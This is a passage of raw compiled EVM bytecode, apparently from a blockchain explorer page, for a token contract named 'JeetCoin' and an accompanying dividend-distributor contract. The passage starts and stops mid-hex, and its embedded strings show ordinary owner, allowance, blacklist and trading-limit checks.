000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906135dd9190614917565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051613611929190614399565b60405180910390a15b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476184d0906040516136669061499b565b600060405180830381858888f193505050503d80600081146136a4576040519150601f19603f3d011682016040523d82523d6000602084013e6136a9565b606091505b5050905060009050505050505050505050506000602060006101000a81548160ff021916908315150217905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080601254601154846137439190614422565b61374d91906143f1565b905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461379a91906140ee565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161383a9190613a28565b60405180910390a3808361384e91906142f9565b91505092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061388c82613861565b9050919050565b61389c81613881565b81146138a757600080fd5b50565b6000813590506138b981613893565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126138e4576138e36138bf565b5b8235905067ffffffffffffffff811115613901576139006138c4565b5b60208301915083602082028301111561391d5761391c6138c9565b5b9250929050565b60008083601f84011261393a576139396138bf565b5b8235905067ffffffffffffffff811115613957576139566138c4565b5b602083019150836020820283011115613973576139726138c9565b5b9250929050565b60008060008060006060868803121561399657613995613857565b5b60006139a4888289016138aa565b955050602086013567ffffffffffffffff8111156139c5576139c461385c565b5b6139d1888289016138ce565b9450945050604086013567ffffffffffffffff8111156139f4576139f361385c565b5b613a0088828901613924565b92509250509295509295909350565b6000819050919050565b613a2281613a0f565b82525050565b6000602082019050613a3d6000830184613a19565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a7d578082015181840152602081019050613a62565b83811115613a8c576000848401525b50505050565b6000601f19601f8301169050919050565b6000613aae82613a43565b613ab88185613a4e565b9350613ac8818560208601613a5f565b613ad181613a92565b840191505092915050565b60006020820190508181036000830152613af68184613aa3565b905092915050565b613b0781613a0f565b8114613b1257600080fd5b50565b600081359050613b2481613afe565b92915050565b60008060408385031215613b4157613b40613857565b5b6000613b4f858286016138aa565b9250506020613b6085828601613b15565b9150509250929050565b60008115159050919050565b613b7f81613b6a565b82525050565b6000602082019050613b9a6000830184613b76565b92915050565b60008060408385031215613bb757613bb6613857565b5b6000613bc585828601613b15565b9250506020613bd685828601613b15565b9150509250929050565b600060208284031215613bf657613bf5613857565b5b6000613c04848285016138aa565b91505092915050565b600080600060608486031215613c2657613c25613857565b5b6000613c34868287016138aa565b9350506020613c45868287016138aa565b9250506040613c5686828701613b15565b9150509250925092565b613c6981613b6a565b8114613c7457600080fd5b50565b600081359050613c8681613c60565b92915050565b600060ff82169050919050565b613ca281613c8c565b8114613cad57600080fd5b50565b600081359050613cbf81613c99565b92915050565b60008060408385031215613cdc57613cdb613857565b5b6000613cea85828601613c77565b9250506020613cfb85828601613cb0565b9150509250929050565b613d0e81613c8c565b82525050565b6000602082019050613d296000830184613d05565b92915050565b60008060408385031215613d4657613d45613857565b5b6000613d54858286016138aa565b9250506020613d6585828601613c77565b9150509250929050565b600060208284031215613d8557613d84613857565b5b6000613d9384828501613b15565b91505092915050565b60008060008060808587031215613db657613db5613857565b5b6000613dc487828801613b15565b9450506020613dd587828801613b15565b9350506040613de687828801613b15565b9250506060613df787828801613b15565b91505092959194509250565b613e0c81613881565b82525050565b6000602082019050613e276000830184613e03565b92915050565b60008060408385031215613e4457613e43613857565b5b6000613e52858286016138aa565b9250506020613e63858286016138aa565b9150509250929050565b60008060408385031215613e8457613e83613857565b5b6000613e9285828601613c77565b9250506020613ea385828601613b15565b9150509250929050565b6000613eb882613861565b9050919050565b613ec881613ead565b8114613ed357600080fd5b50565b600081359050613ee581613ebf565b92915050565b600060208284031215613f0157613f00613857565b5b6000613f0f84828501613ed6565b91505092915050565b6000819050919050565b6000613f3d613f38613f3384613861565b613f18565b613861565b9050919050565b6000613f4f82613f22565b9050919050565b6000613f6182613f44565b9050919050565b613f7181613f56565b82525050565b6000602082019050613f8c6000830184613f68565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613fc8600683613a4e565b9150613fd382613f92565b602082019050919050565b60006020820190508181036000830152613ff781613fbb565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b600061405a602883613a4e565b915061406582613ffe565b604082019050919050565b600060208201905081810360008301526140898161404d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006140f982613a0f565b915061410483613a0f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614139576141386140bf565b5b828201905092915050565b600061414f82613a0f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614181576141806140bf565b5b600182019050919050565b7f4e6f7420656e6f75676820746f6b656e7320746f2061697264726f7000000000600082015250565b60006141c2601c83613a4e565b91506141cd8261418c565b602082019050919050565b600060208201905081810360008301526141f1816141b5565b9050919050565b600060408201905061420d6000830185613e03565b61421a6020830184613a19565b9392505050565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6000614257600b83613a4e565b915061426282614221565b602082019050919050565b600060208201905081810360008301526142868161424a565b9050919050565b7f496e73756666696369656e7420416c6c6f77616e636500000000000000000000600082015250565b60006142c3601683613a4e565b91506142ce8261428d565b602082019050919050565b600060208201905081810360008301526142f2816142b6565b9050919050565b600061430482613a0f565b915061430f83613a0f565b925082821015614322576143216140bf565b5b828203905092915050565b7f426c61636b6c6973746564206164647265737300000000000000000000000000600082015250565b6000614363601383613a4e565b915061436e8261432d565b602082019050919050565b6000602082019050818103600083015261439281614356565b9050919050565b60006040820190506143ae6000830185613a19565b6143bb6020830184613a19565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006143fc82613a0f565b915061440783613a0f565b925082614417576144166143c2565b5b828204905092915050565b600061442d82613a0f565b915061443883613a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614471576144706140bf565b5b828202905092915050565b600061448782613f44565b9050919050565b6144978161447c565b82525050565b60006020820190506144b2600083018461448e565b92915050565b6000819050919050565b60006144dd6144d86144d3846144b8565b613f18565b613a0f565b9050919050565b6144ed816144c2565b82525050565b60006040820190506145086000830185613e03565b61451560208301846144e4565b9392505050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b6000614552601483613a4e565b915061455d8261451c565b602082019050919050565b6000602082019050818103600083015261458181614545565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000602082015250565b60006145e4603e83613a4e565b91506145ef82614588565b604082019050919050565b60006020820190508181036000830152614613816145d7565b9050919050565b7f506c65617365207761697420666f7220636f6f6c646f776e206265747765656e60008201527f2062757973000000000000000000000000000000000000000000000000000000602082015250565b6000614676602583613a4e565b91506146818261461a565b604082019050919050565b600060208201905081810360008301526146a581614669565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006146e2601183613a4e565b91506146ed826146ac565b602082019050919050565b60006020820190508181036000830152614711816146d5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061475681613893565b92915050565b60006020828403121561477257614771613857565b5b600061478084828501614747565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6147be81613881565b82525050565b60006147d083836147b5565b60208301905092915050565b6000602082019050919050565b60006147f482614789565b6147fe8185614794565b9350614809836147a5565b8060005b8381101561483a57815161482188826147c4565b975061482c836147dc565b92505060018101905061480d565b5085935050505092915050565b600060a08201905061485c6000830188613a19565b61486960208301876144e4565b818103604083015261487b81866147e9565b905061488a6060830185613e03565b6148976080830184613a19565b9695505050505050565b600060c0820190506148b66000830189613e03565b6148c36020830188613a19565b6148d060408301876144e4565b6148dd60608301866144e4565b6148ea6080830185613e03565b6148f760a0830184613a19565b979650505050505050565b60008151905061491181613afe565b92915050565b6000806000606084860312156149305761492f613857565b5b600061493e86828701614902565b935050602061494f86828701614902565b925050604061496086828701614902565b9150509250925092565b600081905092915050565b50565b600061498560008361496a565b915061499082614975565b600082019050919050565b60006149a682614978565b915081905091905056fea2646970667358221220539ea5158a82234ae5134a132901e80072c196f4b68920469c74e78d08c6744d64736f6c634300080d0033608060405273e6703b8a945db00e57a34064cb81fa2d6e4abbd8600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506ec097ce7bc90715b34b9f1000000000600a55610a8c600b55662386f26fc10000600c5534801561008957600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611798806100d96000396000f3fe6080604052600436106100ec5760003560e01c8063997664d71161008a578063efca2eed11610059578063efca2eed14610339578063f0fc6bca14610364578063ffb2c4791461037b578063ffd49c84146103a45761015a565b8063997664d71461029a578063ce7c2ac2146102c5578063d0e30db014610304578063e2d2e2191461030e5761015a565b80632d48e896116100c65780632d48e896146101f05780633a98ef39146102195780633d59551b146102445780634fab0ae81461026f5761015a565b806311ce023d1461015f57806314b6ca961461018a57806328fd3198146101b35761015a565b3661015a57600e54471115610158576000600e544761010b9190611332565b90508060075461011b9190611366565b60078190555060065481600a5461013291906113bc565b61013c9190611445565b6009546101499190611366565b60098190555047600e81905550505b005b600080fd5b34801561016b57600080fd5b506101746103cf565b6040516101819190611485565b60405180910390f35b34801561019657600080fd5b506101b160048036038101906101ac919061152f565b6103d5565b005b3480156101bf57600080fd5b506101da60048036038101906101d5919061156f565b6106de565b6040516101e79190611485565b60405180910390f35b3480156101fc57600080fd5b506102176004803603810190610212919061159c565b6107f0565b005b34801561022557600080fd5b5061022e6108b2565b60405161023b9190611485565b60405180910390f35b34801561025057600080fd5b506102596108b8565b60405161026691906115f7565b60405180910390f35b34801561027b57600080fd5b50610284610a05565b6040516102919190611485565b60405180910390f35b3480156102a657600080fd5b506102af610a0b565b6040516102bc9190611485565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e7919061156f565b610a11565b6040516102fb93929190611612565b60405180910390f35b61030c610a3b565b005b34801561031a57600080fd5b50610323610b54565b6040516103309190611485565b60405180910390f35b34801561034557600080fd5b5061034e610b5a565b60405161035b9190611485565b60405180910390f35b34801561037057600080fd5b50610379610b60565b005b34801561038757600080fd5b506103a2600480360381019061039d9190611649565b610b6b565b005b3480156103b057600080fd5b506103b9610d48565b6040516103c69190611485565b60405180910390f35b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061047c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61048557600080fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156104da576104d982610d4e565b5b60008111801561052c57506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b1561053f5761053a82610fb2565b6105a1565b60008114801561059157506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b156105a05761059f82611061565b5b5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546006546105f29190611332565b6105fc9190611366565b60068190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550610694600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540361073257600090506107eb565b600061077f600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b90506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490508082116107da576000925050506107eb565b80826107e69190611332565b925050505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108975750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108a057600080fd5b81600b8190555080600c819055505050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109625750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61096b57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476184d0906040516109b7906116a7565b600060405180830381858888f193505050503d80600081146109f5576040519150601f19603f3d011682016040523d82523d6000602084013e6109fa565b606091505b505090508091505090565b600c5481565b60075481565b60056020528060005260406000206000915090508060000154908060010154908060020154905083565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ae25750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610aeb57600080fd5b600e54471115610b52576000600e5447610b059190611332565b905080600754610b159190611366565b60078190555060065481600a54610b2c91906113bc565b610b369190611445565b600954610b439190611366565b60098190555047600e81905550505b565b60095481565b60085481565b610b6933610d4e565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c125750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1b57600080fd5b6000600280549050905060008103610c335750610d45565b6000805a905060005b8483108015610c4a57508381105b15610d405783600d5410610c61576000600d819055505b610caa6002600d5481548110610c7a57610c796116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661128c565b15610cf957610cf86002600d5481548110610cc857610cc76116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d4e565b5b5a8284610d069190611366565b610d109190611332565b92505a9150600d6000815480929190610d28906116eb565b91905055508080610d38906116eb565b915050610c3c565b505050505b50565b600b5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540315610faf576000610da4826106de565b90506000811115610fad5760008273ffffffffffffffffffffffffffffffffffffffff16826184d090604051610dd9906116a7565b600060405180830381858888f193505050503d8060008114610e17576040519150601f19603f3d011682016040523d82523d6000602084013e610e1c565b606091505b505090508015610fab5781600854610e349190611366565b60088190555042600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ecc9190611366565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550610f5d600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611268565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555047600e819055505b505b505b50565b600280549050600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260016002805490506110759190611332565b81548110611086576110856116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481548110611104576111036116bc565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460036000600260016002805490506111a49190611332565b815481106111b5576111b46116bc565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060028054806112305761122f611733565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905550565b6000600a546009548361127b91906113bc565b6112859190611445565b9050919050565b600042600b54600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112dc9190611366565b1080156112f25750600c546112f0836106de565b115b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061133d826112f9565b9150611348836112f9565b92508282101561135b5761135a611303565b5b828203905092915050565b6000611371826112f9565b915061137c836112f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113b1576113b0611303565b5b828201905092915050565b60006113c7826112f9565b91506113d2836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561140b5761140a611303565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611450826112f9565b915061145b836112f9565b92508261146b5761146a611416565b5b828204905092915050565b61147f816112f9565b82525050565b600060208201905061149a6000830184611476565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114d0826114a5565b9050919050565b6114e0816114c5565b81146114eb57600080fd5b50565b6000813590506114fd816114d7565b92915050565b61150c816112f9565b811461151757600080fd5b50565b60008135905061152981611503565b92915050565b60008060408385031215611546576115456114a0565b5b6000611554858286016114ee565b92505060206115658582860161151a565b9150509250929050565b600060208284031215611585576115846114a0565b5b6000611593848285016114ee565b91505092915050565b600080604083850312156115b3576115b26114a0565b5b60006115c18582860161151a565b92505060206115d28582860161151a565b9150509250929050565b60008115159050919050565b6115f1816115dc565b82525050565b600060208201905061160c60008301846115e8565b92915050565b60006060820190506116276000830186611476565b6116346020830185611476565b6116416040830184611476565b949350505050565b60006020828403121561165f5761165e6114a0565b5b600061166d8482850161151a565b91505092915050565b600081905092915050565b50565b6000611691600083611676565b915061169c82611681565b600082019050919050565b60006116b282611684565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006116f6826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361172857611727611303565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fdfea26469706673582212205ca56aefb82bf7aac903a55022e5f7dac69c6e74ec11fa7c7556494e00e1b8d164736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106102b25760003560e01c8063722b62ad11610175578063c9567bf9116100dc578063f0b37c0411610095578063f84ba65d1161006f578063f84ba65d14610acb578063f887ea4014610af4578063fe9fbb8014610b1f578063ffb54a9914610b5c576102b9565b8063f0b37c0414610a50578063f2fde38b14610a79578063f708a64f14610aa2576102b9565b8063c9567bf914610940578063ca33e64c14610957578063d51ed1c814610982578063dd62ed3e146109bf578063df20fd49146109fc578063e96fada214610a25576102b9565b80639d1944f51161012e5780639d1944f514610832578063a4b45c001461085b578063a8aa1b3114610884578063a9059cbb146108af578063b6a5d7de146108ec578063bf56b37114610915576102b9565b8063722b62ad1461073257806378109e541461075d5780637d1db4a51461078857806382bf293c146107b3578063893d20e8146107dc57806395d89b4114610807576102b9565b80632d594567116102195780635c85974f116101d25780635c85974f14610624578063617fe0ed1461064d578063658d4b7f146106785780636ddd1713146106a15780636fcba377146106cc57806370a08231146106f5576102b9565b80632d594567146105045780632f54bf6e1461052d578063313ce5671461056a578063455a43961461059557806350db71fb146105be578063571ac8b0146105e7576102b9565b80631cdd3be31161026b5780631cdd3be3146103e25780631df4ccfc1461041f578063201e79911461044a57806323b872dd146104735780632b112e49146104b05780632d48e896146104db576102b9565b8063025ff12f146102be5780630445b667146102e757806306fdde0314610312578063095ea7b31461033d5780631161ae391461037a57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e0919061397a565b610b87565b005b3480156102f357600080fd5b506102fc610fcc565b6040516103099190613a28565b60405180910390f35b34801561031e57600080fd5b50610327610fd2565b6040516103349190613adc565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190613b2a565b61100f565b6040516103719190613b85565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190613ba0565b611101565b6040516103ae9190613b85565b60405180910390f35b3480156103c357600080fd5b506103cc611116565b6040516103d99190613a28565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be0565b611120565b6040516104169190613b85565b60405180910390f35b34801561042b57600080fd5b50610434611140565b6040516104419190613a28565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190613ba0565b611146565b005b34801561047f57600080fd5b5061049a60048036038101906104959190613c0d565b6111a0565b6040516104a79190613b85565b60405180910390f35b3480156104bc57600080fd5b506104c561148f565b6040516104d29190613a28565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190613ba0565b611503565b005b34801561051057600080fd5b5061052b60048036038101906105269190613cc5565b6115de565b005b34801561053957600080fd5b50610554600480360381019061054f9190613be0565b61165f565b6040516105619190613b85565b60405180910390f35b34801561057657600080fd5b5061057f6116b8565b60405161058c9190613d14565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613d2f565b6116c1565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613d2f565b611764565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613be0565b611807565b60405161061b9190613b85565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d6f565b61183a565b005b34801561065957600080fd5b5061066261188c565b60405161066f9190613b85565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190613d2f565b61189f565b005b3480156106ad57600080fd5b506106b6611942565b6040516106c39190613b85565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee9190613d9c565b611955565b005b34801561070157600080fd5b5061071c60048036038101906107179190613be0565b6119f8565b6040516107299190613a28565b60405180910390f35b34801561073e57600080fd5b50610747611a41565b6040516107549190613d14565b60405180910390f35b34801561076957600080fd5b50610772611a54565b60405161077f9190613a28565b60405180910390f35b34801561079457600080fd5b5061079d611a5a565b6040516107aa9190613a28565b60405180910390f35b3480156107bf57600080fd5b506107da60048036038101906107d59190613d6f565b611a60565b005b3480156107e857600080fd5b506107f1611acb565b6040516107fe9190613e12565b60405180910390f35b34801561081357600080fd5b5061081c611af4565b6040516108299190613adc565b60405180910390f35b34801561083e57600080fd5b5061085960048036038101906108549190613d6f565b611b31565b005b34801561086757600080fd5b50610882600480360381019061087d9190613e2d565b611b92565b005b34801561089057600080fd5b50610899611c60565b6040516108a69190613e12565b60405180910390f35b3480156108bb57600080fd5b506108d660048036038101906108d19190613b2a565b611c86565b6040516108e39190613b85565b60405180910390f35b3480156108f857600080fd5b50610913600480360381019061090e9190613be0565b611c9b565b005b34801561092157600080fd5b5061092a611d3d565b6040516109379190613a28565b60405180910390f35b34801561094c57600080fd5b50610955611d43565b005b34801561096357600080fd5b5061096c611da8565b6040516109799190613e12565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a49190613d6f565b611dce565b6040516109b69190613a28565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190613e2d565b611e2b565b6040516109f39190613a28565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190613e6d565b611eb2565b005b348015610a3157600080fd5b50610a3a611f1f565b604051610a479190613e12565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613be0565b611f45565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b9190613eeb565b611fe8565b005b348015610aae57600080fd5b50610ac96004803603810190610ac49190613d2f565b612101565b005b348015610ad757600080fd5b50610af26004803603810190610aed9190613d2f565b6123a1565b005b348015610b0057600080fd5b50610b09612444565b604051610b169190613f77565b60405180910390f35b348015610b2b57600080fd5b50610b466004803603810190610b419190613be0565b61246a565b604051610b539190613b85565b60405180910390f35b348015610b6857600080fd5b50610b716124c0565b604051610b7e9190613b85565b60405180910390f35b610b903361165f565b610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690613fde565b60405180910390fd5b6000828290508585905014610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090614070565b60405180910390fd5b60005b85859050811015610c6157838382818110610c3a57610c39614090565b5b9050602002013582610c4c91906140ee565b91508080610c5990614144565b915050610c1c565b5080610c6c876119f8565b1015610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906141d8565b60405180910390fd5b60005b85859050811015610ea957610d0687878784818110610cd257610cd1614090565b5b9050602002016020810190610ce79190613be0565b868685818110610cfa57610cf9614090565b5b905060200201356124d3565b50600c6000878784818110610d1e57610d1d614090565b5b9050602002016020810190610d339190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e9657601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110610dd057610dcf614090565b5b9050602002016020810190610de59190613be0565b600760008a8a87818110610dfc57610dfb614090565b5b9050602002016020810190610e119190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610e699291906141f8565b600060405180830381600087803b158015610e8357600080fd5b505af1925050508015610e94575060015b505b8080610ea190614144565b915050610cb0565b50600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fc457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610f979291906141f8565b600060405180830381600087803b158015610fb157600080fd5b505af1925050508015610fc2575060015b505b505050505050565b601f5481565b60606040518060400160405280600881526020017f4a656574436f696e000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110ef9190613a28565b60405180910390a36001905092915050565b60008261110d83611dce565b11905092915050565b6000600454905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b61114f3361246a565b61118e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111859061426d565b60405180910390fd5b81601581905550806016819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113985781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb906142d9565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139091906142f9565b925050819055505b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143c5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff